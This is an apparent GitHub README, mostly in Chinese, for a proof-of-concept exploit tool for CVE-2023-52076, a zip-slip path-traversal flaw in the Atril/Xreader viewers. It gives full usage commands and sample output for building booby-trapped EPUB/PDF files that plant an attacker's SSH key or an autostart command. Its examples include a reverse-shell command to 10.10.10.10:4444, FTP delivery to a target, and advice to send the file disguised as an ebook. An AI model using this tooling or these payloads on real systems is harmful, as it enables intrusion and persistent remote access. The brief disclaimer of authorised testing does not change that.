Groppoxx/CVE-2023-52076-PoC
GitHub: Groppoxx/CVE-2023-52076-PoC
CVE-2023-52076 概念验证工具,通过生成特制 EPUB/PDF 文件利用 Atril/Xreader 的路径遍历漏洞实现 SSH 密钥注入或远程命令执行。
Stars: 0 | Forks: 0
# CVE-2023-52076-PoC
[**CVE-2023-52076**](https://nvd.nist.gov/vuln/detail/CVE-2023-52076) 的概念验证,这是 **Atril/Xreader** 文档查看器中一个严重的路径遍历和任意文件写入漏洞,会影响 MATE Desktop 环境。
该脚本会生成一个经过特殊构造的 EPUB payload,其中包含针对 SSH 配置或自启动 desktop 条目的 zip-slip 路径,允许在目标系统上执行远程命令。
## 功能说明
1. 支持两种利用模式:SSH 密钥注入或自启动 RCE。
2. 生成 RSA 密钥对(仅限 SSH 模式)。
3. 构建一个有效的 EPUB,其中嵌入针对易受攻击解压逻辑的 zip-slip 路径。
4. 使用 `/proc/self/cwd` gadgets 将 payload 写入 5-9 种路径遍历变体中。
5. 创建 `.epub` 和 `.pdf` 副本(两者均可触发漏洞)。
6. 验证 payload 结构并核实所有条目。
7. 可选地通过匿名 FTP 上传 payload。
## 环境要求
```
Python 3.8+
ssh-keygen in PATH (SSH mode only)
```
## 快速开始
### SSH 模式(推荐)
在本地生成 SSH payload:
```
python3 cve_2023_52076.py --mode ssh
```
### 自启动模式
使用自定义命令生成自启动 RCE payload:
```
python3 cve_2023_52076.py --mode autostart --command "id > /tmp/pwned.txt"
```
## 完整示例
### 通过 FTP 上传的 SSH 模式
```
python3 cve_2023_52076.py \
--mode ssh \
--name slippy-ssh \
--key ./keys/atril_rsa \
--output-dir ./payloads \
--upload \
--host ftp.target.local \
--ftp-dir pub
```
输出示例:
```
[2026-07-27T14:23:45Z] [*] Generating RSA-3072 keypair: ./keys/atril_rsa
[2026-07-27T14:23:47Z] [*] Building EPUB with 9 zip-slip entries
[2026-07-27T14:23:47Z] [*] Validating payload: ./payloads/slippy-ssh.epub
[2026-07-27T14:23:47Z] [+] Validated 9 payload entries
[2026-07-27T14:23:47Z] [*] Connecting to FTP ftp.target.local:21
[2026-07-27T14:23:48Z] [*] Uploading ./payloads/slippy-ssh.epub as slippy-ssh.epub
[2026-07-27T14:23:48Z] [+] Upload complete. Remote directory listing:
-rw-r--r-- 1 0 0 2048 Jul 27 14:23 slippy-ssh.epub
[+] Payload ready
Mode: SSH (authorized_keys)
Private key: ./keys/atril_rsa (mode 600)
Public key: ./keys/atril_rsa.pub
Fingerprint: 3072 SHA256:abcd1234... atril-poc (RSA)
EPUB: ./payloads/slippy-ssh.epub
PDF copy: ./payloads/slippy-ssh.pdf
[+] SSH login remains manual:
ssh -i ./keys/atril_rsa -o IdentitiesOnly=yes @
```
### 通过 FTP 上传的自启动模式
```
python3 cve_2023_52076.py \
--mode autostart \
--command "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1" \
--name slippy-rce \
--output-dir ./payloads \
--upload \
--host ftp.target.local \
--ftp-dir pub
```
输出示例:
```
[2026-07-27T14:25:10Z] [*] Building EPUB with 5 zip-slip entries
[2026-07-27T14:25:10Z] [*] Validating payload: ./payloads/slippy-rce.epub
[2026-07-27T14:25:10Z] [+] Validated 5 payload entries
[2026-07-27T14:25:10Z] [*] Connecting to FTP ftp.target.local:21
[2026-07-27T14:25:11Z] [*] Uploading ./payloads/slippy-rce.epub as slippy-rce.epub
[2026-07-27T14:25:11Z] [+] Upload complete.
[+] Payload ready
Mode: Autostart (.desktop RCE)
Command: bash -i >& /dev/tcp/10.10.10.10/4444 0>&1
EPUB: ./payloads/slippy-rce.epub
PDF copy: ./payloads/slippy-rce.pdf
[+] Victim must logout/login for autostart to trigger
```
## 可选参数
```
--mode {ssh,autostart}
Payload mode. Default: ssh
ssh: Inject SSH authorized_keys (no victim interaction needed after file opens).
autostart: Create .desktop RCE in autostart (triggers on next logout/login).
--command
Payload command for --mode autostart. Required if --mode autostart.
Example: --command "id > /tmp/pwned.txt"
--name
Local payload basename. Default: base-clean
--key
Private key path (SSH mode only). Default: slippy_rsa
--key-bits
RSA key size (SSH mode only). Options: 2048, 3072, 4096. Default: 3072
--output-dir
Output directory for .epub/.pdf. Default: output
--upload
Upload the payload to FTP after generating.
--host
FTP target host or IP. Required if --upload is set.
--port
FTP port. Default: 21
--ftp-dir
Remote FTP directory, e.g. pub.
--remote-name
Remote EPUB filename. Default: ludwig.epub
--upload-pdf
Upload the .pdf copy instead of the .epub.
--force
Replace existing output and key files.
--timeout
FTP connection timeout. Default: 10.0
--only-final
Hide progress logs and print only the final summary.
--no-color
Disable ANSI colors.
--debug
Print executed subprocess commands (ssh-keygen).
```
## 利用流程
### SSH 模式
1. **生成 Payload**:脚本创建 EPUB,其中包含写入 authorized_keys 路径的公钥。
2. **社会工程学**:将 EPUB/PDF 发送给目标(伪装成电子书)。
3. **受害者打开文件**:Atril/Xreader 解压 EPUB 内容。
4. **路径遍历**:存在漏洞的代码将公钥写入 `~/.ssh/authorized_keys`。
5. **SSH 访问**:攻击者使用私钥进行连接。
### 自启动模式
1. **生成 Payload**:脚本创建 EPUB,其中包含写入自启动路径的 .desktop 条目。
2. **社会工程学**:将 EPUB/PDF 发送给目标。
3. **受害者打开文件**:Atril/Xreader 解压 EPUB 内容。
4. **路径遍历**:存在漏洞的代码将 .desktop 写入 `~/.config/autostart/`。
5. **触发**:在下一次注销/登录时,`.desktop` 文件会自动执行命令。
## 关键点
- **无需用户名**:`/proc/self/cwd` gadget 会在解压时进行解析。
- **多种路径变体**:SSH 模式 9 种路径,自启动模式 5 种路径,最大限度地提高了跨目录深度的成功率。
- **不覆盖文件**:仅创建新文件(遵循 CVE 的限制)。
- **离线模式**:无需 FTP 投递即可生成 payload(仅在需要时使用 `--upload`)。
- **灵活的命令**:自启动模式支持任何 bash 命令。
- **SSH 模式是即时的**:文件打开后无需受害者的任何交互。
- **自启动需要重新登录**:受害者必须注销/登录才能触发 RCE。
## 注意事项
- 受影响的版本:Atril (MATE DE), Xreader (Cinnamon, Linux Mint) < 1.26.2。
- 已测试环境:Kali Linux、Parrot OS、Ubuntu-Mate、Xubuntu。
- 需要受害者在存在漏洞的查看器中打开特制文档。
- 离线工作;在利用期间不会向攻击者发送网络回调。
- 最佳实践:通过 FTP 投递(`--upload`)以避免直接托管。
## 法律声明
本 PoC 仅供**授权的安全测试**、实验室环境和漏洞验证使用。
未经明确许可,请勿将其用于任何系统。
标签:CISA项目, EPUB, PE 加载器, Python, Zip-Slip, 内存分配, 无后门, 路径穿越, 逆向工具